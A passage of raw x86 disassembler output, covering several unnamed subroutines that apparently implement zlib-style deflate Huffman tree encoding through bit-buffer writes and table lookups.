0806748f  90                          nop
```

```
08067490   8b 45 e0                   mov     0xffffffe0(%ebp),%eax
08067493   0f b7 7c 30 02             movzwl  0x2(%eax,%esi,1),%edi
08067498   b8 10 00 00 00             mov     $0x10,%eax   ;16 'x10 x0 x0 x0' ""
0806749d   29 f8                      sub     %edi,%eax
0806749f   8b 8e b4 16 00 00          mov     0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080674a5   39 c1                      cmp     %eax,%ecx
080674a7   7e 57                      jle     08067500 <Unknown0412+0xb3>
080674a9   8b 55 e0                   mov     0xffffffe0(%ebp),%edx
080674ac   0f b7 1c 32                movzwl  (%edx,%esi,1),%ebx
080674b0   89 d8                      mov     %ebx,%eax
080674b2   d3 e0                      shl     %cl,%eax
080674b4   66 09 86 b0 16 00 00       or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080674bb   8b 56 10                   mov     0x10(%esi),%edx
080674be   8a 86 b0 16 00 00          mov     0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
080674c4   8b 4e 08                   mov     0x8(%esi),%ecx
080674c7   88 04 0a                   mov     %al,(%edx,%ecx,1)
080674ca   8b 56 10                   mov     0x10(%esi),%edx
080674cd   66 0f b6 86 b1 16 00 00    movzbw  0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
080674d5   42                         inc     %edx
080674d6   8b 4e 08                   mov     0x8(%esi),%ecx
080674d9   89 56 10                   mov     %edx,0x10(%esi)
080674dc   88 04 0a                   mov     %al,(%edx,%ecx,1)
080674df   8b 86 b4 16 00 00          mov     0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
080674e5   b9 10 00 00 00             mov     $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
080674ea   29 c1                      sub     %eax,%ecx
080674ec   d3 fb                      sar     %cl,%ebx
080674ee   8d 44 07 f0                lea     0xfffffff0(%edi,%eax,1),%eax
080674f2   ff 46 10                   incl    0x10(%esi)
080674f5   66 89 9e b0 16 00 00       mov     %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080674fc   eb 15                      jmp     08067513 <Unknown0412+0xc6>
080674fe   89 f6                      mov     %esi,%esi
08067500   8b 5d e0                   mov     0xffffffe0(%ebp),%ebx
08067503   0f b7 04 33                movzwl  (%ebx,%esi,1),%eax
08067507   d3 e0                      shl     %cl,%eax
08067509   66 09 86 b0 16 00 00       or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067510   8d 04 0f                   lea     (%edi,%ecx,1),%eax
08067513   89 86 b4 16 00 00          mov     %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067519   ff 4d e4                   decl    0xffffffe4(%ebp)
0806751c   0f 85 6e ff ff ff          jne     08067490 <Unknown0412+0x43>   ;-146 'x6e xff xff xff' "n"
08067522   e9 bd 03 00 00             jmp     080678e4 <Unknown0412+0x497>   ;957 'xbd x3 x0 x0' ""
08067527   90                         nop
08067528   8b 45 ec                   mov     0xffffffec(%ebp),%eax
0806752b   85 c0                      test    %eax,%eax
0806752d   0f 84 9d 01 00 00          je      080676d0 <Unknown0412+0x283>   ;413 'x9d x1 x0 x0' ""
08067533   39 4d ec                   cmp     %ecx,0xffffffec(%ebp)
08067536   0f 84 8d 00 00 00          je      080675c9 <Unknown0412+0x17c>   ;141 'x8d x0 x0 x0' ""
0806753c   8b 7d ec                   mov     0xffffffec(%ebp),%edi
0806753f   8d 14 bd 70 0a 00 00       lea     0xa70(,%edi,4),%edx   ;2672 'x70 xa x0 x0' "p"
08067546   0f b7 7c 32 02             movzwl  0x2(%edx,%esi,1),%edi
0806754b   b8 10 00 00 00             mov     $0x10,%eax   ;16 'x10 x0 x0 x0' ""
08067550   29 f8                      sub     %edi,%eax
08067552   8b 8e b4 16 00 00          mov     0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067558   39 c1                      cmp     %eax,%ecx
0806755a   7e 54                      jle     080675b0 <Unknown0412+0x163>
0806755c   0f b7 1c 32                movzwl  (%edx,%esi,1),%ebx
08067560   89 d8                      mov     %ebx,%eax
08067562   d3 e0                      shl     %cl,%eax
08067564   66 09 86 b0 16 00 00       or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806756b   8b 56 10                   mov     0x10(%esi),%edx
0806756e   8a 86 b0 16 00 00          mov     0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067574   8b 4e 08                   mov     0x8(%esi),%ecx
08067577   88 04 0a                   mov     %al,(%edx,%ecx,1)
0806757a   8b 4e 10                   mov     0x10(%esi),%ecx
0806757d   41                         inc     %ecx
0806757e   66 0f b6 86 b1 16 00 00    movzbw  0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067586   8b 56 08                   mov     0x8(%esi),%edx
08067589   89 4e 10                   mov     %ecx,0x10(%esi)
0806758c   88 04 11                   mov     %al,(%ecx,%edx,1)
0806758f   8b 86 b4 16 00 00          mov     0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067595   b9 10 00 00 00             mov     $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
0806759a   29 c1                      sub     %eax,%ecx
0806759c   d3 fb                      sar     %cl,%ebx
0806759e   8d 44 07 f0                lea     0xfffffff0(%edi,%eax,1),%eax
080675a2   ff 46 10                   incl    0x10(%esi)
080675a5   66 89 9e b0 16 00 00       mov     %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080675ac   eb 12                      jmp     080675c0 <Unknown0412+0x173>
080675ae   89 f6                      mov     %esi,%esi
080675b0   0f b7 04 32                movzwl  (%edx,%esi,1),%eax
080675b4   d3 e0                      shl     %cl,%eax
080675b6   66 09 86 b0 16 00 00       or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080675bd   8d 04 0f                   lea     (%edi,%ecx,1),%eax
080675c0   89 86 b4 16 00 00          mov     %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
080675c6   ff 4d e4                   decl    0xffffffe4(%ebp)
080675c9   0f b7 be b2 0a 00 00       movzwl  0xab2(%esi),%edi   ;2738 'xb2 xa x0 x0' ""
```

```
080675d0   b8 10 00 00 00        mov      $0x10,%eax   ;16 'x10 x0 x0 x0' ""
080675d5   29 f8                 sub      %edi,%eax
080675d7   8b 8e b4 16 00 00     mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080675dd   39 c1                 cmp      %eax,%ecx
080675df   7e 57                 jle      08067638 <Unknown0412+0x1eb>
080675e1   0f b7 9e b0 0a 00 00  movzwl   0xab0(%esi),%ebx   ;2736 'xb0 xa x0 x0' ""
080675e8   89 d8                 mov      %ebx,%eax
080675ea   d3 e0                 shl      %cl,%eax
080675ec   66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080675f3   8b 56 10              mov      0x10(%esi),%edx
080675f6   8a 86 b0 16 00 00     mov      0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
080675fc   8b 4e 08              mov      0x8(%esi),%ecx
080675ff   88 04 0a              mov      %al,(%edx,%ecx,1)
08067602   8b 4e 10              mov      0x10(%esi),%ecx
08067605   41                    inc      %ecx
08067606   66 0f b6 86 b1 16 00 00  movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
0806760e   8b 56 08              mov      0x8(%esi),%edx
08067611   89 4e 10              mov      %ecx,0x10(%esi)
08067614   88 04 11              mov      %al,(%ecx,%edx,1)
08067617   8b 86 b4 16 00 00     mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
0806761d   b9 10 00 00 00        mov      $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067622   29 c1                 sub      %eax,%ecx
08067624   d3 fb                 sar      %cl,%ebx
08067626   8d 44 07 f0           lea      0xfffffff0(%edi,%eax,1),%eax
0806762a   ff 46 10              incl     0x10(%esi)
0806762d   66 89 9e b0 16 00 00  mov      %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067634   eb 15                 jmp      0806764b <Unknown0412+0x1fe>
08067636   89 f6                 mov      %esi,%esi
08067638   0f b7 86 b0 0a 00 00  movzwl   0xab0(%esi),%eax   ;2736 'xb0 xa x0 x0' ""
0806763f   d3 e0                 shl      %cl,%eax
08067641   66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067648   8d 04 0f              lea      (%edi,%ecx,1),%eax
0806764b   89 86 b4 16 00 00     mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067651   8b 8e b4 16 00 00     mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067657   83 f9 0e              cmp      $0xe,%ecx
0806765a   bf 10 00 00 00        mov      $0x10,%edi   ;16 'x10 x0 x0 x0' ""
0806765f   7e 57                 jle      080676b8 <Unknown0412+0x26b>
08067661   8b 5d e4              mov      0xffffffe4(%ebp),%ebx
08067664   83 eb 03              sub      $0x3,%ebx
08067667   89 d8                 mov      %ebx,%eax
08067669   d3 e0                 shl      %cl,%eax
0806766b   66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067672   8b 56 10              mov      0x10(%esi),%edx
08067675   8a 86 b0 16 00 00     mov      0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
0806767b   8b 4e 08              mov      0x8(%esi),%ecx
0806767e   88 04 0a              mov      %al,(%edx,%ecx,1)
08067681   8b 4e 10              mov      0x10(%esi),%ecx
08067684   41                    inc      %ecx
08067685   66 0f b6 86 b1 16 00 00  movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
0806768d   8b 56 08              mov      0x8(%esi),%edx
08067690   89 4e 10              mov      %ecx,0x10(%esi)
08067693   88 04 11              mov      %al,(%ecx,%edx,1)
08067696   8b 86 b4 16 00 00     mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
0806769c   89 f9                 mov      %edi,%ecx
0806769e   29 c1                 sub      %eax,%ecx
080676a0   0f b7 db              movzwl   %bx,%ebx
080676a3   d3 fb                 sar      %cl,%ebx
080676a5   83 e8 0e              sub      $0xe,%eax
080676a8   ff 46 10              incl     0x10(%esi)
080676ab   66 89 9e b0 16 00 00  mov      %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080676b2   e9 27 02 00 00        jmp      080678de <Unknown0412+0x491>   ;551 'x27 x2 x0 x0' "'"
080676b7   90                    nop
080676b8   8b 45 e4              mov      0xffffffe4(%ebp),%eax
080676bb   83 e8 03              sub      $0x3,%eax
080676be   d3 e0                 shl      %cl,%eax
080676c0   66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080676c7   8d 41 02              lea      0x2(%ecx),%eax
080676ca   e9 0f 02 00 00        jmp      080678de <Unknown0412+0x491>   ;527 'xf x2 x0 x0' ""
080676cf   90                    nop
080676d0   83 7d e4 0a           cmpl     $0xa,0xffffffe4(%ebp)
080676d4   0f 8f 06 01 00 00     jg       080677e0 <Unknown0412+0x393>   ;262 'x6 x1 x0 x0' ""
080676da   0f b7 be b6 0a 00 00  movzwl   0xab6(%esi),%edi   ;2742 'xb6 xa x0 x0' ""
080676e1   b8 10 00 00 00        mov      $0x10,%eax   ;16 'x10 x0 x0 x0' ""
080676e6   29 f8                 sub      %edi,%eax
080676e8   8b 8e b4 16 00 00     mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080676ee   39 c1                 cmp      %eax,%ecx
080676f0   7e 56                 jle      08067748 <Unknown0412+0x2fb>
080676f2   0f b7 9e b4 0a 00 00  movzwl   0xab4(%esi),%ebx   ;2740 'xb4 xa x0 x0' ""
080676f9   89 d8                 mov      %ebx,%eax
080676fb   d3 e0                 shl      %cl,%eax
080676fd   66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067704   8b 56 10              mov      0x10(%esi),%edx
08067707   8a 86 b0 16 00 00     mov      0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
0806770d   8b 4e 08              mov      0x8(%esi),%ecx
```

```
08067710   88 04 0a                    mov    %al,(%edx,%ecx,1)
08067713   8b 4e 10                    mov    0x10(%esi),%ecx
08067716   41                          inc    %ecx
08067717   66 0f b6 86 b1 16 00 00     movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
0806771f   8b 56 08                    mov    0x8(%esi),%edx
08067722   89 4e 10                    mov    %ecx,0x10(%esi)
08067725   88 04 11                    mov    %al,(%ecx,%edx,1)
08067728   8b 86 b4 16 00 00           mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
0806772e   b9 10 00 00 00              mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067733   29 c1                       sub    %eax,%ecx
08067735   d3 fb                       sar    %cl,%ebx
08067737   8d 44 07 f0                 lea    0xfffffff0(%edi,%eax,1),%eax
0806773b   ff 46 10                    incl   0x10(%esi)
0806773e   66 89 9e b0 16 00 00        mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067745   eb 14                       jmp    0806775b <Unknown0412+0x30e>
08067747   90                          nop
08067748   0f b7 86 b4 0a 00 00        movzwl 0xab4(%esi),%eax   ;2740 'xb4 xa x0 x0' ""
0806774f   d3 e0                       shl    %cl,%eax
08067751   66 09 86 b0 16 00 00        or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067758   8d 04 0f                    lea    (%edi,%ecx,1),%eax
0806775b   89 86 b4 16 00 00           mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067761   8b 8e b4 16 00 00           mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067767   83 f9 0d                    cmp    $0xd,%ecx
0806776a   bf 10 00 00 00              mov    $0x10,%edi   ;16 'x10 x0 x0 x0' ""
0806776f   7e 57                       jle    080677c8 <Unknown0412+0x37b>
08067771   8b 5d e4                    mov    0xffffffe4(%ebp),%ebx
08067774   83 eb 03                    sub    $0x3,%ebx
08067777   89 d8                       mov    %ebx,%eax
08067779   d3 e0                       shl    %cl,%eax
0806777b   66 09 86 b0 16 00 00        or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067782   8b 56 10                    mov    0x10(%esi),%edx
08067785   8a 86 b0 16 00 00           mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
0806778b   8b 4e 08                    mov    0x8(%esi),%ecx
0806778e   88 04 0a                    mov    %al,(%edx,%ecx,1)
08067791   8b 4e 10                    mov    0x10(%esi),%ecx
08067794   41                          inc    %ecx
08067795   66 0f b6 86 b1 16 00 00     movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
0806779d   8b 56 08                    mov    0x8(%esi),%edx
080677a0   89 4e 10                    mov    %ecx,0x10(%esi)
080677a3   88 04 11                    mov    %al,(%ecx,%edx,1)
080677a6   8b 86 b4 16 00 00           mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
080677ac   89 f9                       mov    %edi,%ecx
080677ae   29 c1                       sub    %eax,%ecx
080677b0   0f b7 db                    movzwl %bx,%ebx
080677b3   d3 fb                       sar    %cl,%ebx
080677b5   83 e8 0d                    sub    $0xd,%eax
080677b8   ff 46 10                    incl   0x10(%esi)
080677bb   66 89 9e b0 16 00 00        mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080677c2   e9 17 01 00 00              jmp    080678de <Unknown0412+0x491>   ;279 'x17 x1 x0 x0' ""
080677c7   90                          nop
080677c8   8b 45 e4                    mov    0xffffffe4(%ebp),%eax
080677cb   83 e8 03                    sub    $0x3,%eax
080677ce   d3 e0                       shl    %cl,%eax
080677d0   66 09 86 b0 16 00 00        or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080677d7   8d 41 03                    lea    0x3(%ecx),%eax
080677da   e9 ff 00 00 00              jmp    080678de <Unknown0412+0x491>   ;255 'xff x0 x0 x0' ""
080677df   90                          nop
080677e0   0f b7 be ba 0a 00 00        movzwl 0xaba(%esi),%edi   ;2746 'xba xa x0 x0' ""
080677e7   b8 10 00 00 00              mov    $0x10,%eax   ;16 'x10 x0 x0 x0' ""
080677ec   29 f8                       sub    %edi,%eax
080677ee   8b 8e b4 16 00 00           mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080677f4   39 c1                       cmp    %eax,%ecx
080677f6   7e 58                       jle    08067850 <Unknown0412+0x403>
080677f8   0f b7 9e b8 0a 00 00        movzwl 0xab8(%esi),%ebx   ;2744 'xb8 xa x0 x0' ""
080677ff   89 d8                       mov    %ebx,%eax
08067801   d3 e0                       shl    %cl,%eax
08067803   66 09 86 b0 16 00 00        or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806780a   8b 56 10                    mov    0x10(%esi),%edx
0806780d   8a 86 b0 16 00 00           mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067813   8b 4e 08                    mov    0x8(%esi),%ecx
08067816   88 04 0a                    mov    %al,(%edx,%ecx,1)
08067819   8b 4e 10                    mov    0x10(%esi),%ecx
0806781c   41                          inc    %ecx
0806781d   66 0f b6 86 b1 16 00 00     movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067825   8b 56 08                    mov    0x8(%esi),%edx
08067828   89 4e 10                    mov    %ecx,0x10(%esi)
0806782b   88 04 11                    mov    %al,(%ecx,%edx,1)
0806782e   8b 86 b4 16 00 00           mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067834   b9 10 00 00 00              mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067839   29 c1                       sub    %eax,%ecx
0806783b   d3 fb                       sar    %cl,%ebx
0806783d   8d 44 07 f0                 lea    0xfffffff0(%edi,%eax,1),%eax
08067841   ff 46 10                    incl   0x10(%esi)
08067844   66 89 9e b0 16 00 00        mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
```

```
0806784b   eb 16                 jmp       08067863 <Unknown0412+0x416>
0806784d   8d 76 00              lea       0x0(%esi),%esi
08067850   0f b7 86 b8 0a 00 00  movzwl    0xab8(%esi),%eax   ;2744 'xb8 xa x0 x0' ""
08067857   d3 e0                 shl       %cl,%eax
08067859   66 09 86 b0 16 00 00  or        %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067860   8d 04 0f              lea       (%edi,%ecx,1),%eax
08067863   89 86 b4 16 00 00     mov       %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
08067869   8b 8e b4 16 00 00     mov       0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
0806786f   83 f9 09              cmp       $0x9,%ecx
08067872   bf 10 00 00 00        mov       $0x10,%edi         ;16 'x10 x0 x0 x0' ""
08067877   7e 53                 jle       080678cc <Unknown0412+0x47f>
08067879   8b 5d e4              mov       0xffffffe4(%ebp),%ebx
0806787c   83 eb 0b              sub       $0xb,%ebx
0806787f   89 d8                 mov       %ebx,%eax
08067881   d3 e0                 shl       %cl,%eax
08067883   66 09 86 b0 16 00 00  or        %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806788a   8b 56 10              mov       0x10(%esi),%edx
0806788d   8a 86 b0 16 00 00     mov       0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067893   8b 4e 08              mov       0x8(%esi),%ecx
08067896   88 04 0a              mov       %al,(%edx,%ecx,1)
08067899   8b 4e 10              mov       0x10(%esi),%ecx
0806789c   41                    inc       %ecx
0806789d   66 0f b6 86 b1 16 00 00  movzbw  0x16b1(%esi),%ax  ;5809 'xb1 x16 x0 x0' ""
080678a5   8b 56 08              mov       0x8(%esi),%edx
080678a8   89 4e 10              mov       %ecx,0x10(%esi)
080678ab   88 04 11              mov       %al,(%ecx,%edx,1)
080678ae   8b 86 b4 16 00 00     mov       0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
080678b4   89 f9                 mov       %edi,%ecx
080678b6   29 c1                 sub       %eax,%ecx
080678b8   0f b7 db              movzwl    %bx,%ebx
080678bb   d3 fb                 sar       %cl,%ebx
080678bd   83 e8 09              sub       $0x9,%eax
080678c0   ff 46 10              incl      0x10(%esi)
080678c3   66 89 9e b0 16 00 00  mov       %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080678ca   eb 12                 jmp       080678de <Unknown0412+0x491>
080678cc   8b 45 e4              mov       0xffffffe4(%ebp),%eax
080678cf   83 e8 0b              sub       $0xb,%eax
080678d2   d3 e0                 shl       %cl,%eax
080678d4   66 09 86 b0 16 00 00  or        %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080678db   8d 41 07              lea       0x7(%ecx),%eax
080678de   89 86 b4 16 00 00     mov       %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
080678e4   8b 7d e8              mov       0xffffffe8(%ebp),%edi
080678e7   85 ff                 test      %edi,%edi
080678e9   c7 45 e4 00 00 00 00  movl      $0x0,0xffffffe4(%ebp)  ;0 'x0 x0 x0 x0' ""
080678f0   8b 4d ec              mov       0xffffffec(%ebp),%ecx
080678f3   75 0f                 jne       08067904 <Unknown0412+0x4b7>
080678f5   ba 8a 00 00 00        mov       $0x8a,%edx         ;138 'x8a x0 x0 x0' ""
080678fa   b8 03 00 00 00        mov       $0x3,%eax          ;3 'x3 x0 x0 x0' ""
080678ff   eb 21                 jmp       08067922 <Unknown0412+0x4d5>
08067901   8d 76 00              lea       0x0(%esi),%esi
08067904   8b 45 e8              mov       0xffffffe8(%ebp),%eax
08067907   39 45 ec              cmp       %eax,0xffffffec(%ebp)
0806790a   75 0c                 jne       08067918 <Unknown0412+0x4cb>
0806790c   ba 06 00 00 00        mov       $0x6,%edx          ;6 'x6 x0 x0 x0' ""
08067911   b8 03 00 00 00        mov       $0x3,%eax          ;3 'x3 x0 x0 x0' ""
08067916   eb 0a                 jmp       08067922 <Unknown0412+0x4d5>
08067918   ba 07 00 00 00        mov       $0x7,%edx          ;7 'x7 x0 x0 x0' ""
0806791d   b8 04 00 00 00        mov       $0x4,%eax          ;4 'x4 x0 x0 x0' ""
08067922   ff 45 f0              incl      0xfffffff0(%ebp)
08067925   8b 5d 10              mov       0x10(%ebp),%ebx
08067928   39 5d f0              cmp       %ebx,0xfffffff0(%ebp)
0806792b   0f 8e 23 fb ff ff     jle       08067454 <Unknown0412+0x7>  ;-1245 'x23 xfb xff xff' "#"
08067931   83 c4 14              add       $0x14,%esp
08067934   5b                    pop       %ebx
08067935   5e                    pop       %esi
08067936   5f                    pop       %edi
08067937   5d                    pop       %ebp
08067938   c3                    ret
08067939   8d 76 00              lea       0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 413 >--------------------<
  ;
0806793c <Unknown0413>:
0806793c   55                    push      %ebp
0806793d   89 e5                 mov       %esp,%ebp
0806793f   56                    push      %esi
08067940   53                    push      %ebx
08067941   8b 5d 08              mov       0x8(%ebp),%ebx
08067944   52                    push      %edx
08067945   ff b3 10 0b 00 00     pushl     0xb10(%ebx)   ;2832 'x10 xb x0 x0' ""
0806794b   8d 83 88 00 00 00     lea       0x88(%ebx),%eax  ;136 'x88 x0 x0 x0' ""
08067951   50                    push      %eax
```

```
08067952   53                            push    %ebx
08067953   e8 a4 f9 ff ff                call    080672fc <Unknown0406>
08067958   83 c4 0c                      add     $0xc,%esp
0806795b   ff b3 1c 0b 00 00             pushl   0xb1c(%ebx)   ;2844 'x1c xb x0 x0' ""
08067961   8d 83 7c 09 00 00             lea     0x97c(%ebx),%eax   ;2428 'x7c x9 x0 x0' "|"
08067967   50                            push    %eax
08067968   53                            push    %ebx
08067969   e8 8e f9 ff ff                call    080672fc <Unknown0406>
0806796e   5e                            pop     %esi
0806796f   58                            pop     %eax
08067970   8d 83 24 0b 00 00             lea     0xb24(%ebx),%eax   ;2852 'x24 xb x0 x0' "$"
08067976   50                            push    %eax
08067977   53                            push    %ebx
08067978   e8 2f f7 ff ff                call    080670ac <Unknown0404>
0806797d   0f b6 05 5e 95 07 08          movzbl  0x807955e,%eax   ;[in .data] -1046478833 'xf x0 xa0 xc1' ""
08067984   8d 4b 02                      lea     0x2(%ebx),%ecx
08067987   83 c4 10                      add     $0x10,%esp
0806798a   66 83 bc 81 70 0a 00 00 00    cmpw    $0x0,0xa70(%ecx,%eax,4)   ;2672 'x70 xa x0 x0' "p"
08067993   ba 12 00 00 00                mov     $0x12,%edx   ;18 'x12 x0 x0 x0' ""
08067998   75 1b                         jne     080679b5 <Unknown0413+0x79>
0806799a   be 4c 95 07 08                mov     $0x807954c,%esi   ;[in .data] 1184016 'x10 x11 x12 x0' ""
0806799f   90                            nop
080679a0   4a                            dec     %edx
080679a1   83 fa 02                      cmp     $0x2,%edx
080679a4   7e 0f                         jle     080679b5 <Unknown0413+0x79>
080679a6   0f b6 04 32                   movzbl  (%edx,%esi,1),%eax
080679aa   66 83 bc 81 70 0a 00 00 00    cmpw    $0x0,0xa70(%ecx,%eax,4)   ;2672 'x70 xa x0 x0' "p"
080679b3   74 eb                         je      080679a0 <Unknown0413+0x64>
080679b5   8d 04 52                      lea     (%edx,%edx,2),%eax
080679b8   03 83 9c 16 00 00             add     0x169c(%ebx),%eax   ;5788 'x9c x16 x0 x0' ""
080679be   83 c0 11                      add     $0x11,%eax
080679c1   89 83 9c 16 00 00             mov     %eax,0x169c(%ebx)   ;5788 'x9c x16 x0 x0' ""
080679c7   8d 65 f8                      lea     0xfffffff8(%ebp),%esp
080679ca   5b                            pop     %ebx
080679cb   89 d0                         mov     %edx,%eax
080679cd   5e                            pop     %esi
080679ce   5d                            pop     %ebp
080679cf   c3                            ret
```

```
   ;
   ; >---------------------<  Subroutine # 414 >---------------------<
   ;
080679d0 <Unknown0414>:
080679d0   55                            push    %ebp
080679d1   89 e5                         mov     %esp,%ebp
080679d3   57                            push    %edi
080679d4   56                            push    %esi
080679d5   53                            push    %ebx
080679d6   83 ec 1c                      sub     $0x1c,%esp
080679d9   8b 45 0c                      mov     0xc(%ebp),%eax
080679dc   89 45 f0                      mov     %eax,0xfffffff0(%ebp)
080679df   8b 45 10                      mov     0x10(%ebp),%eax
080679e2   89 45 ec                      mov     %eax,0xffffffec(%ebp)
080679e5   8b 45 14                      mov     0x14(%ebp),%eax
080679e8   8b 75 08                      mov     0x8(%ebp),%esi
080679eb   89 45 e8                      mov     %eax,0xffffffe8(%ebp)
080679ee   8b 8e b4 16 00 00             mov     0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080679f4   83 f9 0b                      cmp     $0xb,%ecx
080679f7   7e 5b                         jle     08067a54 <Unknown0414+0x84>
080679f9   8b 5d f0                      mov     0xfffffff0(%ebp),%ebx
080679fc   81 eb 01 01 00 00             sub     $0x101,%ebx   ;257 'x1 x1 x0 x0' ""
08067a02   89 d8                         mov     %ebx,%eax
08067a04   d3 e0                         shl     %cl,%eax
08067a06   66 09 86 b0 16 00 00          or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067a0d   8b 56 10                      mov     0x10(%esi),%edx
08067a10   8a 86 b0 16 00 00             mov     0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067a16   8b 4e 08                      mov     0x8(%esi),%ecx
08067a19   88 04 0a                      mov     %al,(%edx,%ecx,1)
08067a1c   8b 4e 10                      mov     0x10(%esi),%ecx
08067a1f   41                            inc     %ecx
08067a20   66 0f b6 86 b1 16 00 00       movzbw  0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067a28   8b 56 08                      mov     0x8(%esi),%edx
08067a2b   89 4e 10                      mov     %ecx,0x10(%esi)
08067a2e   88 04 11                      mov     %al,(%ecx,%edx,1)
08067a31   8b 86 b4 16 00 00             mov     0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067a37   b9 10 00 00 00                mov     $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067a3c   29 c1                         sub     %eax,%ecx
08067a3e   0f b7 db                      movzwl  %bx,%ebx
08067a41   d3 fb                         sar     %cl,%ebx
08067a43   83 e8 0b                      sub     $0xb,%eax
08067a46   ff 46 10                      incl    0x10(%esi)
08067a49   66 89 9e b0 16 00 00          mov     %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067a50   eb 16                         jmp     08067a68 <Unknown0414+0x98>
```

```
08067a52   89 f6                       mov      %esi,%esi
08067a54   8b 45 f0                    mov      0xfffffff0(%ebp),%eax
08067a57   2d 01 01 00 00              sub      $0x101,%eax    ;257 'x1 x1 x0 x0' ""
08067a5c   d3 e0                       shl      %cl,%eax
08067a5e   66 09 86 b0 16 00 00        or       %ax,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067a65   8d 41 05                    lea      0x5(%ecx),%eax
08067a68   89 86 b4 16 00 00           mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067a6e   8b 8e b4 16 00 00           mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067a74   83 f9 0b                    cmp      $0xb,%ecx
08067a77   7e 57                       jle      08067ad0 <Unknown0414+0x100>
08067a79   8b 5d ec                    mov      0xffffffec(%ebp),%ebx
